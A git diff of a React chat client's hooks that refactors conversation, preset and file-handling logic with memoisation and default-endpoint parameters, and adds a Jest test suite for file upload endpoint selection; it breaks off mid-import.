import { parseCompactConvo, replaceSpecialVars, isAssistantsEndpoint, + getDefaultParamsEndpoint, } from 'librechat-data-provider'; import type { TMessage, @@ -96,6 +97,8 @@ export default function useChatFunctions({ ) => { setShowStopButton(false); resetLatestMultiMessage(); + + text = text.trim(); if (!!isSubmitting || text === '') { return; } @@ -133,7 +136,6 @@ export default function useChatFunctions({ // construct the query message // this is not a real messageId, it is used as placeholder before real messageId returned - text = text.trim(); const intermediateId = overrideUserMessageId ?? v4(); parentMessageId = parentMessageId ?? latestMessage?.messageId ?? Constants.NO_PARENT; @@ -173,12 +175,14 @@ export default function useChatFunctions({ const startupConfig = queryClient.getQueryData([QueryKeys.startupConfig]); const endpointType = getEndpointField(endpointsConfig, endpoint, 'type'); const iconURL = conversation?.iconURL; + const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint); /** This becomes part of the `endpointOption` */ const convo = parseCompactConvo({ endpoint: endpoint as EndpointSchemaKey, endpointType: endpointType as EndpointSchemaKey, conversation: conversation ?? {}, + defaultParamsEndpoint, }); const { modelDisplayLabel } = endpointsConfig?.[endpoint ?? ''] ?? {}; diff --git a/client/src/hooks/Chat/useChatHelpers.ts b/client/src/hooks/Chat/useChatHelpers.ts index 46d38d3a4d..219c370418 100644 --- a/client/src/hooks/Chat/useChatHelpers.ts +++ b/client/src/hooks/Chat/useChatHelpers.ts @@ -1,12 +1,11 @@ -import { useCallback, useState } from 'react'; +import { useCallback, useMemo, useRef, useState } from 'react'; import { QueryKeys, isAssistantsEndpoint } from 'librechat-data-provider'; import { useQueryClient } from '@tanstack/react-query'; import { useRecoilState, useResetRecoilState, useSetRecoilState } from 'recoil'; import type { TMessage } from 'librechat-data-provider'; import type { ActiveJobsResponse } from '~/data-provider'; -import { useGetMessagesByConvoId, useAbortStreamMutation } from '~/data-provider'; import useChatFunctions from '~/hooks/Chat/useChatFunctions'; -import { useAuthContext } from '~/hooks/AuthContext'; +import { useAbortStreamMutation } from '~/data-provider'; import useNewConvo from '~/hooks/useNewConvo'; import store from '~/store'; @@ -17,7 +16,6 @@ export default function useChatHelpers(index = 0, paramId?: string) { const [filesLoading, setFilesLoading] = useState(false); const queryClient = useQueryClient(); - const { isAuthenticated } = useAuthContext(); const abortMutation = useAbortStreamMutation(); const { newConversation } = useNewConvo(index); @@ -29,15 +27,15 @@ export default function useChatHelpers(index = 0, paramId?: string) { Falling back to conversationId (Recoil) only if paramId is not available */ const queryParam = paramId === 'new' ? paramId : (paramId ?? conversationId ?? ''); - /* Messages: here simply to fetch, don't export and use `getMessages()` instead */ - - const { data: _messages } = useGetMessagesByConvoId(queryParam, { - enabled: isAuthenticated, - }); - const resetLatestMessage = useResetRecoilState(store.latestMessageFamily(index)); const [isSubmitting, setIsSubmitting] = useRecoilState(store.isSubmittingFamily(index)); const [latestMessage, setLatestMessage] = useRecoilState(store.latestMessageFamily(index)); + + const latestMessageId = latestMessage?.messageId; + const latestMessageDepth = latestMessage?.depth; + const latestMessageRef = useRef(latestMessage); + latestMessageRef.current = latestMessage; + const setSiblingIdx = useSetRecoilState( store.messagesSiblingIdxFamily(latestMessage?.parentMessageId ?? null), ); @@ -77,7 +75,7 @@ export default function useChatHelpers(index = 0, paramId?: string) { const setSubmission = useSetRecoilState(store.submissionByIndex(index)); - const { ask, regenerate } = useChatFunctions({ + const { ask: _ask, regenerate: _regenerate } = useChatFunctions({ index, files, setFiles, @@ -90,8 +88,20 @@ export default function useChatHelpers(index = 0, paramId?: string) { setLatestMessage, }); - const continueGeneration = () => { - if (!latestMessage) { + const askRef = useRef(_ask); + askRef.current = _ask; + const ask: typeof _ask = useCallback((...args) => askRef.current(...args), []); + + const regenerateRef = useRef(_regenerate); + regenerateRef.current = _regenerate; + const regenerate: typeof _regenerate = useCallback( + (...args) => regenerateRef.current(...args), + [], + ); + + const continueGeneration = useCallback(() => { + const currentLatest = latestMessageRef.current; + if (!currentLatest) { console.error('Failed to regenerate the message: latestMessage not found.'); return; } @@ -99,7 +109,7 @@ export default function useChatHelpers(index = 0, paramId?: string) { const messages = getMessages(); const parentMessage = messages?.find( - (element) => element.messageId == latestMessage.parentMessageId, + (element) => element.messageId == currentLatest.parentMessageId, ); if (parentMessage && parentMessage.isCreatedByUser) { @@ -109,7 +119,7 @@ export default function useChatHelpers(index = 0, paramId?: string) { 'Failed to regenerate the message: parentMessage not found, or not created by user.', ); } - }; + }, [getMessages, ask]); /** * Stop generation - for non-assistants endpoints, calls abort endpoint first. @@ -153,64 +163,107 @@ export default function useChatHelpers(index = 0, paramId?: string) { } }, [conversationId, endpoint, endpointType, abortMutation, clearAllSubmissions, queryClient]); - const handleStopGenerating = (e: React.MouseEvent) => { - e.preventDefault(); - stopGenerating(); - }; + const handleStopGenerating = useCallback( + (e: React.MouseEvent) => { + e.preventDefault(); + stopGenerating(); + }, + [stopGenerating], + ); - const handleRegenerate = (e: React.MouseEvent) => { - e.preventDefault(); - const parentMessageId = latestMessage?.parentMessageId ?? ''; - if (!parentMessageId) { - console.error('Failed to regenerate the message: parentMessageId not found.'); - return; - } - regenerate({ parentMessageId }); - }; + const handleRegenerate = useCallback( + (e: React.MouseEvent) => { + e.preventDefault(); + const parentMessageId = latestMessageRef.current?.parentMessageId ?? ''; + if (!parentMessageId) { + console.error('Failed to regenerate the message: parentMessageId not found.'); + return; + } + regenerate({ parentMessageId }); + }, + [regenerate], + ); - const handleContinue = (e: React.MouseEvent) => { - e.preventDefault(); - continueGeneration(); - setSiblingIdx(0); - }; + const handleContinue = useCallback( + (e: React.MouseEvent) => { + e.preventDefault(); + continueGeneration(); + setSiblingIdx(0); + }, + [continueGeneration, setSiblingIdx], + ); const [preset, setPreset] = useRecoilState(store.presetByIndex(index)); const [showPopover, setShowPopover] = useRecoilState(store.showPopoverFamily(index)); const [abortScroll, setAbortScroll] = useRecoilState(store.abortScrollFamily(index)); const [optionSettings, setOptionSettings] = useRecoilState(store.optionSettingsFamily(index)); - return { - newConversation, - conversation, - setConversation, - // getConvos, - // setConvos, - isSubmitting, - setIsSubmitting, - getMessages, - setMessages, - setSiblingIdx, - latestMessage, - setLatestMessage, - resetLatestMessage, - ask, - index, - regenerate, - stopGenerating, - handleStopGenerating, - handleRegenerate, - handleContinue, - showPopover, - setShowPopover, - abortScroll, - setAbortScroll, - preset, - setPreset, - optionSettings, - setOptionSettings, - files, - setFiles, - filesLoading, - setFilesLoading, - }; + return useMemo( + () => ({ + newConversation, + conversation, + setConversation, + isSubmitting, + setIsSubmitting, + getMessages, + setMessages, + setSiblingIdx, + latestMessageId, + latestMessageDepth, + setLatestMessage, + resetLatestMessage, + ask, + index, + regenerate, + stopGenerating, + handleStopGenerating, + handleRegenerate, + handleContinue, + showPopover, + setShowPopover, + abortScroll, + setAbortScroll, + preset, + setPreset, + optionSettings, + setOptionSettings, + files, + setFiles, + filesLoading, + setFilesLoading, + }), + [ + newConversation, + conversation, + setConversation, + isSubmitting, + setIsSubmitting, + getMessages, + setMessages, + setSiblingIdx, + latestMessageId, + latestMessageDepth, + setLatestMessage, + resetLatestMessage, + ask, + index, + regenerate, + stopGenerating, + handleStopGenerating, + handleRegenerate, + handleContinue, + showPopover, + setShowPopover, + abortScroll, + setAbortScroll, + preset, + setPreset, + optionSettings, + setOptionSettings, + files, + setFiles, + filesLoading, + setFilesLoading, + ], + ); } diff --git a/client/src/hooks/Conversations/index.ts b/client/src/hooks/Conversations/index.ts index 6c35ad5da9..2659ace457 100644 --- a/client/src/hooks/Conversations/index.ts +++ b/client/src/hooks/Conversations/index.ts @@ -4,6 +4,7 @@ export { default as useDefaultConvo } from './useDefaultConvo'; export { default as useSearchEnabled } from './useSearchEnabled'; export { default as useGenerateConvo } from './useGenerateConvo'; export { default as useDebouncedInput } from './useDebouncedInput'; +export { default as useGetConversation } from './useGetConversation'; export { default as useBookmarkSuccess } from './useBookmarkSuccess'; export { default as useNavigateToConvo } from './useNavigateToConvo'; export { default as useSetIndexOptions } from './useSetIndexOptions'; diff --git a/client/src/hooks/Conversations/useDefaultConvo.ts b/client/src/hooks/Conversations/useDefaultConvo.ts index bfca39d3e0..697854924b 100644 --- a/client/src/hooks/Conversations/useDefaultConvo.ts +++ b/client/src/hooks/Conversations/useDefaultConvo.ts @@ -1,5 +1,6 @@ -import { excludedKeys } from 'librechat-data-provider'; +import { useCallback } from 'react'; import { useGetModelsQuery } from 'librechat-data-provider/react-query'; +import { excludedKeys, getDefaultParamsEndpoint } from 'librechat-data-provider'; import type { TEndpointsConfig, TModelsConfig, @@ -22,54 +23,55 @@ const useDefaultConvo = () => { const { data: endpointsConfig = {} as TEndpointsConfig } = useGetEndpointsQuery(); const { data: modelsConfig = {} as TModelsConfig } = useGetModelsQuery(); - const getDefaultConversation = ({ - conversation: _convo, - preset, - cleanInput, - cleanOutput, - }: TDefaultConvo) => { - const endpoint = getDefaultEndpoint({ - convoSetup: preset as TPreset, - endpointsConfig, - }); + const getDefaultConversation = useCallback( + ({ conversation: _convo, preset, cleanInput, cleanOutput }: TDefaultConvo) => { + const endpoint = getDefaultEndpoint({ + convoSetup: preset as TPreset, + endpointsConfig, + }); - const models = modelsConfig[endpoint ?? ''] || []; - const conversation = { ..._convo }; - if (cleanInput === true) { - for (const key in conversation) { + const models = modelsConfig[endpoint ?? ''] || []; + const conversation = { ..._convo }; + if (cleanInput === true) { + for (const key in conversation) { + if (excludedKeys.has(key) && !exceptions.has(key)) { + continue; + } + if (conversation[key] == null) { + continue; + } + conversation[key] = undefined; + } + } + + const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint); + + const defaultConvo = buildDefaultConvo({ + conversation: conversation as TConversation, + endpoint, + lastConversationSetup: preset as TConversation, + models, + defaultParamsEndpoint, + }); + + if (!cleanOutput) { + return defaultConvo; + } + + for (const key in defaultConvo) { if (excludedKeys.has(key) && !exceptions.has(key)) { continue; } - if (conversation[key] == null) { + if (defaultConvo[key] == null) { continue; } - conversation[key] = undefined; + defaultConvo[key] = undefined; } - } - const defaultConvo = buildDefaultConvo({ - conversation: conversation as TConversation, - endpoint, - lastConversationSetup: preset as TConversation, - models, - }); - - if (!cleanOutput) { return defaultConvo; - } - - for (const key in defaultConvo) { - if (excludedKeys.has(key) && !exceptions.has(key)) { - continue; - } - if (defaultConvo[key] == null) { - continue; - } - defaultConvo[key] = undefined; - } - - return defaultConvo; - }; + }, + [endpointsConfig, modelsConfig], + ); return getDefaultConversation; }; diff --git a/client/src/hooks/Conversations/useExportConversation.ts b/client/src/hooks/Conversations/useExportConversation.ts index 579b5f1cf6..dc352ccab9 100644 --- a/client/src/hooks/Conversations/useExportConversation.ts +++ b/client/src/hooks/Conversations/useExportConversation.ts @@ -106,6 +106,9 @@ export default function useExportConversation({ // TEXT const textPart = content[ContentTypes.TEXT]; const text = typeof textPart === 'string' ? textPart : (textPart?.value ?? ''); + if (text.trim().length === 0) { + return []; + } return [sender, text]; } diff --git a/client/src/hooks/Conversations/useGenerateConvo.ts b/client/src/hooks/Conversations/useGenerateConvo.ts index d96f60e05d..abe3215753 100644 --- a/client/src/hooks/Conversations/useGenerateConvo.ts +++ b/client/src/hooks/Conversations/useGenerateConvo.ts @@ -1,7 +1,12 @@ import { useRecoilValue } from 'recoil'; import { useCallback, useRef, useEffect } from 'react'; import { useGetModelsQuery } from 'librechat-data-provider/react-query'; -import { getEndpointField, LocalStorageKeys, isAssistantsEndpoint } from 'librechat-data-provider'; +import { + getEndpointField, + LocalStorageKeys, + isAssistantsEndpoint, + getDefaultParamsEndpoint, +} from 'librechat-data-provider'; import type { TEndpointsConfig, EModelEndpoint, @@ -117,11 +122,13 @@ const useGenerateConvo = ({ } const models = modelsConfig?.[defaultEndpoint ?? ''] ?? []; + const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, defaultEndpoint); conversation = buildDefaultConvo({ conversation, lastConversationSetup: preset as TConversation, endpoint: defaultEndpoint ?? ('' as EModelEndpoint), models, + defaultParamsEndpoint, }); if (preset?.title != null && preset.title !== '') { diff --git a/client/src/hooks/Conversations/useGetConversation.ts b/client/src/hooks/Conversations/useGetConversation.ts new file mode 100644 index 0000000000..3b63e79f7f --- /dev/null +++ b/client/src/hooks/Conversations/useGetConversation.ts @@ -0,0 +1,14 @@ +import { useRecoilCallback } from 'recoil'; +import type { TConversation } from 'librechat-data-provider'; +import store from '~/store'; + +export default function useGetConversation(index: string | number = 0) { + return useRecoilCallback( + ({ snapshot }) => + () => + snapshot + .getLoadable(store.conversationByKeySelector(index)) + .getValue() as TConversation | null, + [index], + ); +} diff --git a/client/src/hooks/Conversations/useNavigateToConvo.tsx b/client/src/hooks/Conversations/useNavigateToConvo.tsx index 114b70c6ef..b9d188eaf0 100644 --- a/client/src/hooks/Conversations/useNavigateToConvo.tsx +++ b/client/src/hooks/Conversations/useNavigateToConvo.tsx @@ -2,7 +2,13 @@ import { useCallback } from 'react'; import { useSetRecoilState } from 'recoil'; import { useNavigate } from 'react-router-dom'; import { useQueryClient } from '@tanstack/react-query'; -import { QueryKeys, Constants, dataService, getEndpointField } from 'librechat-data-provider'; +import { + QueryKeys, + Constants, + dataService, + getEndpointField, + getDefaultParamsEndpoint, +} from 'librechat-data-provider'; import type { TEndpointsConfig, TStartupConfig, @@ -106,11 +112,13 @@ const useNavigateToConvo = (index = 0) => { const models = modelsConfig?.[defaultEndpoint ?? ''] ?? []; + const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, defaultEndpoint); convo = buildDefaultConvo({ models, conversation, endpoint: defaultEndpoint, lastConversationSetup: conversation, + defaultParamsEndpoint, }); } clearAllConversations(true); diff --git a/client/src/hooks/Conversations/usePresets.ts b/client/src/hooks/Conversations/usePresets.ts index 90ca5ab132..2165e1966e 100644 --- a/client/src/hooks/Conversations/usePresets.ts +++ b/client/src/hooks/Conversations/usePresets.ts @@ -13,19 +13,20 @@ import { useGetPresetsQuery, } from '~/data-provider'; import { cleanupPreset, removeUnavailableTools, getConvoSwitchLogic } from '~/utils'; +import useGetConversation from '~/hooks/Conversations/useGetConversation'; import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo'; import { useAuthContext } from '~/hooks/AuthContext'; import { NotificationSeverity } from '~/common'; import useNewConvo from '~/hooks/useNewConvo'; -import { useChatContext } from '~/Providers'; import { useLocalize } from '~/hooks'; import store from '~/store'; -export default function usePresets() { +export default function usePresets(index = 0) { const localize = useLocalize(); const hasLoaded = useRef(false); const queryClient = useQueryClient(); const { showToast } = useToastContext(); + const getConversation = useGetConversation(index); const { user, isAuthenticated } = useAuthContext(); const [showDeleteDialog, setShowDeleteDialog] = useState(false); const [presetToDelete, setPresetToDelete] = useState(null); @@ -35,7 +36,9 @@ export default function usePresets() { const setPresetModalVisible = useSetRecoilState(store.presetModalVisible); const [_defaultPreset, setDefaultPreset] = useRecoilState(store.defaultPreset); const presetsQuery = useGetPresetsQuery({ enabled: !!user && isAuthenticated }); - const { preset, conversation, index, setPreset } = useChatContext(); + const preset = useRecoilValue(store.presetByIndex(index)); + const setPreset = useSetRecoilState(store.presetByIndex(index)); + const conversationId = useRecoilValue(store.conversationIdByIndex(index)); const { data: modelsData } = useGetModelsQuery(); const { newConversation } = useNewConvo(index); @@ -60,13 +63,13 @@ export default function usePresets() { return; } setDefaultPreset(defaultPreset); - if (!conversation?.conversationId || conversation.conversationId === 'new') { + if (!conversationId || conversationId === 'new') { newConversation({ preset: defaultPreset, modelsData, disableParams: true }); } hasLoaded.current = true; // dependencies are stable and only needed once // eslint-disable-next-line react-hooks/exhaustive-deps - }, [presetsQuery.data, user, modelsData]); + }, [presetsQuery.data, user, modelsData, conversationId]); const setPresets = useCallback( (presets: TPreset[]) => { @@ -164,6 +167,7 @@ export default function usePresets() { return; } + const conversation = getConversation(); const newPreset = removeUnavailableTools(_newPreset, availableTools); const toastTitle = newPreset.title diff --git a/client/src/hooks/Endpoint/UnknownIcon.tsx b/client/src/hooks/Endpoint/UnknownIcon.tsx index 20619e0b7d..be7531a34a 100644 --- a/client/src/hooks/Endpoint/UnknownIcon.tsx +++ b/client/src/hooks/Endpoint/UnknownIcon.tsx @@ -1,6 +1,6 @@ import { memo } from 'react'; -import { CustomMinimalIcon, XAIcon } from '@librechat/client'; import { EModelEndpoint, KnownEndpoints } from 'librechat-data-provider'; +import { CustomMinimalIcon, XAIcon, MoonshotIcon } from '@librechat/client'; import { IconContext } from '~/common'; import { cn } from '~/utils'; @@ -30,9 +30,6 @@ const knownEndpointClasses = { [KnownEndpoints.cohere]: { [IconContext.landing]: 'p-2', }, - [KnownEndpoints.xai]: { - [IconContext.landing]: 'p-2', - }, }; const getKnownClass = ({ @@ -73,15 +70,11 @@ function UnknownIcon({ const currentEndpoint = endpoint.toLowerCase(); if (currentEndpoint === KnownEndpoints.xai) { - return ( - - ); + return ; + } + + if (currentEndpoint === KnownEndpoints.moonshot) { + return ; } if (iconURL) { diff --git a/client/src/hooks/Endpoint/useKeyDialog.ts b/client/src/hooks/Endpoint/useKeyDialog.ts index d783320fd6..89a156f57a 100644 --- a/client/src/hooks/Endpoint/useKeyDialog.ts +++ b/client/src/hooks/Endpoint/useKeyDialog.ts @@ -1,4 +1,4 @@ -import { useState, useCallback } from 'react'; +import { useState, useCallback, useMemo } from 'react'; import { EModelEndpoint } from 'librechat-data-provider'; export const useKeyDialog = () => { @@ -15,24 +15,30 @@ export const useKeyDialog = () => { [], ); - const onOpenChange = (open: boolean) => { - if (!open && keyDialogEndpoint) { - const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`); - if (button) { - setTimeout(() => { - button.focus(); - }, 5); + const onOpenChange = useCallback( + (open: boolean) => { + if (!open && keyDialogEndpoint) { + const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`); + if (button) { + setTimeout(() => { + button.focus(); + }, 5); + } } - } - setKeyDialogOpen(open); - }; + setKeyDialogOpen(open); + }, + [keyDialogEndpoint], + ); - return { - keyDialogOpen, - keyDialogEndpoint, - onOpenChange, - handleOpenKeyDialog, - }; + return useMemo( + () => ({ + keyDialogOpen, + keyDialogEndpoint, + onOpenChange, + handleOpenKeyDialog, + }), + [keyDialogOpen, keyDialogEndpoint, onOpenChange, handleOpenKeyDialog], + ); }; export default useKeyDialog; diff --git a/client/src/hooks/Files/__tests__/useFileHandling.test.ts b/client/src/hooks/Files/__tests__/useFileHandling.test.ts new file mode 100644 index 0000000000..0a07c5f2b4 --- /dev/null +++ b/client/src/hooks/Files/__tests__/useFileHandling.test.ts @@ -0,0 +1,289 @@ +import { renderHook, act } from '@testing-library/react'; +import { Constants, EModelEndpoint, getEndpointFileConfig } from 'librechat-data-provider'; + +beforeAll(() => { + global.URL.createObjectURL = jest.fn(() => 'blob:mock-url'); + global.URL.revokeObjectURL = jest.fn(); +}); + +const mockShowToast = jest.fn(); +const mockSetFilesLoading = jest.fn(); +const mockMutate = jest.fn(); + +let mockConversation: Record = {}; + +jest.mock('~/Providers/ChatContext', () => ({ + useChatContext: jest.fn(() => ({ + files: new Map(), + setFiles: jest.fn(), + setFilesLoading: mockSetFilesLoading, + conversation: mockConversation, + })), +})); + +jest.mock('@librechat/client', () => ({ + useToastContext: jest.fn(() => ({ + showToast: mockShowToast, + })), +})); + +jest.mock('recoil', () => ({ + ...jest.requireActual('recoil'), + useSetRecoilState: jest.fn(() => jest.fn()), +})); + +jest.mock('~/store', () => ({ + ephemeralAgentByConvoId: jest.fn(() => ({ key: 'mock' })), +})); + +jest.mock('@tanstack/react-query', () => ({ + useQueryClient: jest.fn(() => ({ + getQueryData: jest.fn(), + refetchQueries: jest.fn(), + })), +})); + +jest.mock('~/data-provider', () => ({ + useGetFileConfig: jest.fn(() => ({ data: null })), + useUploadFileMutation: jest.fn((_opts: Record) => ({ + mutate: mockMutate, + })), +})); + +jest.mock('~/hooks/useLocalize', () => { + const fn = jest.fn((key: string) => key) as jest.Mock & { + TranslationKeys: Record; + }; + fn.TranslationKeys = {}; + return { __esModule: true, default: fn, TranslationKeys: {} }; +}); + +jest.mock('../useDelayedUploadToast', () => ({ + useDelayedUploadToast: jest.fn(() => ({ + startUploadTimer: jest.fn(), + clearUploadTimer: jest.fn(), + })), +})); + +jest.mock('~/utils/heicConverter', () => ({ + processFileForUpload: jest.fn(async (file: File) => file), +})); + +jest.mock('../useClientResize', () => ({ + __esModule: true, + default: jest.fn(() => ({ + resizeImageIfNeeded: jest.fn(async (file: File) => ({ file, resized: false })), + })), +})); + +jest.mock('../useUpdateFiles', () => ({ + __esModule: true, + default: jest.fn(() => ({ + addFile: jest.fn(), + replaceFile: jest.fn(), + updateFileById: jest.fn(), + deleteFileById: jest.fn(), + })), +})); + +jest.mock('~/utils', () => ({ + logger: { log: jest.fn() }, + validateFiles: jest.fn(() => true), + cachePreview: jest.fn(), + getCachedPreview: jest.fn(() => undefined), +})); + +const mockValidateFiles = jest.requireMock('~/utils').validateFiles; + +describe('useFileHandling', () => { + beforeEach(() => { + jest.clearAllMocks(); + mockConversation = {}; + }); + + const loadHook = async () => (await import('../useFileHandling')).default; + + describe('endpointOverride', () => { + it('uses conversation endpoint when no override is provided', async () => { + mockConversation = { + conversationId: 'convo-1', + endpoint: 'openAI', + endpointType: 'custom', + }; + + const useFileHandling = await loadHook(); + const { result } = renderHook(() => useFileHandling()); + + const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' }); + + await act(async () => { + await result.current.handleFiles([textFile]); + }); + + expect(mockValidateFiles).toHaveBeenCalledTimes(1); + const validateCall = mockValidateFiles.mock.calls[0][0]; + const configResult = getEndpointFileConfig({ + endpoint: 'openAI', + endpointType: 'custom', + fileConfig: null, + }); + expect(validateCall.endpointFileConfig).toEqual(configResult); + }); + + it('uses endpointOverride for validation instead of conversation endpoint', async () => { + mockConversation = { + conversationId: 'convo-1', + endpoint: 'openAI', + endpointType: 'custom', + }; + + const useFileHandling = await loadHook(); + const { result } = renderHook(() => + useFileHandling({ endpointOverride: EModelEndpoint.agents }), + ); + + const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' }); + + await act(async () => { + await result.current.handleFiles([textFile]); + }); + + expect(mockValidateFiles).toHaveBeenCalledTimes(1); + const validateCall = mockValidateFiles.mock.calls[0][0]; + const agentsConfig = getEndpointFileConfig({ + endpoint: EModelEndpoint.agents, + endpointType: EModelEndpoint.agents, + fileConfig: null, + }); + expect(validateCall.endpointFileConfig).toEqual(agentsConfig); + }); + + it('falls back to conversation endpoint when endpointOverride is undefined', async () => { + mockConversation = { + conversationId: 'convo-1', + endpoint: 'anthropic', + endpointType: undefined, + }; + + const useFileHandling = await loadHook(); + const { result } = renderHook(() => useFileHandling({ endpointOverride: undefined })); + + const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' }); + + await act(async () => { + await result.current.handleFiles([textFile]); + }); + + expect(mockValidateFiles).toHaveBeenCalledTimes(1); + const validateCall = mockValidateFiles.mock.calls[0][0]; + const anthropicConfig = getEndpointFileConfig({ + endpoint: 'anthropic', + endpointType: undefined, + fileConfig: null, + }); + expect(validateCall.endpointFileConfig).toEqual(anthropicConfig); + }); + + it('sends correct endpoint in upload form data when override is set', async () => { + mockConversation = { + conversationId: 'convo-1', + endpoint: 'openAI', + endpointType: 'custom', + }; + + const useFileHandling = await loadHook(); + const { result } = renderHook(() => + useFileHandling({ + endpointOverride: EModelEndpoint.agents, + additionalMetadata: { agent_id: 'agent-123' }, + }), + ); + + const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' }); + + await act(async () => { + await result.current.handleFiles([textFile]); + }); + + expect(mockMutate).toHaveBeenCalledTimes(1); + const formData: FormData = mockMutate.mock.calls[0][0]; + expect(formData.get('endpoint')).toBe(EModelEndpoint.agents); + expect(formData.get('endpointType')).toBe(EModelEndpoint.agents); + }); + + it('does not enter assistants upload path when override is agents', async () => { + mockConversation = { + conversationId: 'convo-1', + endpoint: 'assistants', + endpointType: 'assistants', + }; + + const useFileHandling = await loadHook(); + const { result } = renderHook(() => + useFileHandling({ + endpointOverride: EModelEndpoint.agents, + additionalMetadata: { agent_id: 'agent-123' }, + }), + ); + + const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' }); + + await act(async () => { + await result.current.handleFiles([textFile]); + }); + + expect(mockMutate).toHaveBeenCalledTimes(1); + const formData: FormData = mockMutate.mock.calls[0][0]; + expect(formData.get('endpoint')).toBe(EModelEndpoint.agents); + expect(formData.get('message_file')).toBeNull(); + expect(formData.get('version')).toBeNull(); + expect(formData.get('model')).toBeNull(); + expect(formData.get('assistant_id')).toBeNull(); + }); + + it('enters assistants path without override when conversation is assistants', async () => { + mockConversation = { + conversationId: 'convo-1', + endpoint: 'assistants', + endpointType: 'assistants', + assistant_id: 'asst-456', + model: 'gpt-4', + }; + + const useFileHandling = await loadHook(); + const { result } = renderHook(() => useFileHandling()); + + const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' }); + + await act(async () => { + await result.current.handleFiles([textFile]); + }); + + expect(mockMutate).toHaveBeenCalledTimes(1); + const formData: FormData = mockMutate.mock.calls[0][0]; + expect(formData.get('endpoint')).toBe('assistants'); + expect(formData.get('message_file')).toBe('true'); + }); + + it('falls back to "default" when no conversation endpoint and no override', async () => { + mockConversation = { + conversationId: Constants.NEW_CONVO as string, + endpoint: null, + endpointType: undefined, + }; + + const useFileHandling = await loadHook(); + const { result } = renderHook(() => useFileHandling()); + + const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' }); + + await act(async () => { + await result.current.handleFiles([textFile]); + }); + + expect(mockMutate).toHaveBeenCalledTimes(1); + const formData: FormData = mockMutate.mock.calls[0][0]; + expect(formData.get('endpoint')).toBe('default'); + }); + }); +}); diff --git a/client/src/hooks/Files/useDragHelpers.ts b/client/src/hooks/Files/useDragHelpers.ts index f931da408c..7c6c3bd155 100644 --- a/client/src/hooks/Files/useDragHelpers.ts +++ b/client/src/hooks/Files/useDragHelpers.ts @@ -13,6 +13,7 @@ import { EModelEndpoint, mergeFileConfig, AgentCapabilities, + resolveEndpointType, isAssistantsEndpoint, getEndpointFileConfig, defaultAgentCapabilities, @@ -69,7 +70,19 @@ export default function useDragHelpers() { (item: { files: File[] }) => { /** Early block: leverage endpoint file config to prevent drag/drop on disabled endpoints */ const currentEndpoint = conversationRef.current?.endpoint ?? 'default'; - const currentEndpointType = conversationRef.current?.endpointType ?? undefined; + const endpointsConfig = queryClient.getQueryData([QueryKeys.endpoints]); + + /** Get agent data from cache; if absent, provider-specific file config restrictions are bypassed client-side */ + const agentId = conversationRef.current?.agent_id; + const agent = agentId + ? queryClient.getQueryData([QueryKeys.agent, agentId]) + : undefined; + + const currentEndpointType = resolveEndpointType( + endpointsConfig, + currentEndpoint, + agent?.provider, + ); const cfg = queryClient.getQueryData([QueryKeys.fileConfig]); if (cfg) { const mergedCfg = mergeFileConfig(cfg); @@ -92,27 +105,21 @@ export default function useDragHelpers() { return; } - const endpointsConfig = queryClient.getQueryData([QueryKeys.endpoints]); const agentsConfig = endpointsConfig?.[EModelEndpoint.agents]; const capabilities = agentsConfig?.capabilities ?? defaultAgentCapabilities; const fileSearchEnabled = capabilities.includes(AgentCapabilities.file_search) === true; const codeEnabled = capabilities.includes(AgentCapabilities.execute_code) === true; const contextEnabled = capabilities.includes(AgentCapabilities.context) === true; - /** Get agent permissions at drop time */ - const agentId = conversationRef.current?.agent_id; let fileSearchAllowedByAgent = true; let codeAllowedByAgent = true; if (agentId && !isEphemeralAgent(agentId)) { - /** Agent data from cache */ - const agent = queryClient.getQueryData([QueryKeys.agent, agentId]); if (agent) { const agentTools = agent.tools as string[] | undefined; fileSearchAllowedByAgent = agentTools?.includes(Tools.file_search) ?? false; codeAllowedByAgent = agentTools?.includes(Tools.execute_code) ?? false; } else { - /** If agent exists but not found, disallow */ fileSearchAllowedByAgent = false; codeAllowedByAgent = false; } diff --git a/client/src/hooks/Files/useFileDeletion.ts b/client/src/hooks/Files/useFileDeletion.ts index 34d89e313b..c33ac2a50b 100644 --- a/client/src/hooks/Files/useFileDeletion.ts +++ b/client/src/hooks/Files/useFileDeletion.ts @@ -5,6 +5,7 @@ import type * as t from 'librechat-data-provider'; import type { UseMutateAsyncFunction } from '@tanstack/react-query'; import type { ExtendedFile, GenericSetter } from '~/common'; import useSetFilesToDelete from './useSetFilesToDelete'; +import { deletePreview } from '~/utils'; type FileMapSetter = GenericSetter>; @@ -88,6 +89,11 @@ const useFileDeletion = ({ }); } + deletePreview(file_id); + if (temp_file_id) { + deletePreview(temp_file_id); + } + if (attached) { return; } @@ -125,6 +131,11 @@ const useFileDeletion = ({ temp_file_id, embedded: embedded ?? false, }); + + deletePreview(file_id); + if (temp_file_id) { + deletePreview(temp_file_id); + } } if (setFiles) { diff --git a/client/src/hooks/Files/useFileHandling.ts b/client/src/hooks/Files/useFileHandling.ts index 4c65b80765..635937a6fa 100644 --- a/client/src/hooks/Files/useFileHandling.ts +++ b/client/src/hooks/Files/useFileHandling.ts @@ -13,15 +13,16 @@ import { defaultAssistantsVersion, } from 'librechat-data-provider'; import debounce from 'lodash/debounce'; -import type { TEndpointsConfig, TError } from 'librechat-data-provider'; +import type { EModelEndpoint, TEndpointsConfig, TError } from 'librechat-data-provider'; import type { ExtendedFile, FileSetter } from '~/common'; +import type { TConversation } from 'librechat-data-provider'; +import { logger, validateFiles, cachePreview, getCachedPreview, removePreviewEntry } from '~/utils'; import { useGetFileConfig, useUploadFileMutation } from '~/data-provider'; import useLocalize, { TranslationKeys } from '~/hooks/useLocalize'; import { useDelayedUploadToast } from './useDelayedUploadToast'; import { processFileForUpload } from '~/utils/heicConverter'; import { useChatContext } from '~/Providers/ChatContext'; import { ephemeralAgentByConvoId } from '~/store'; -import { logger, 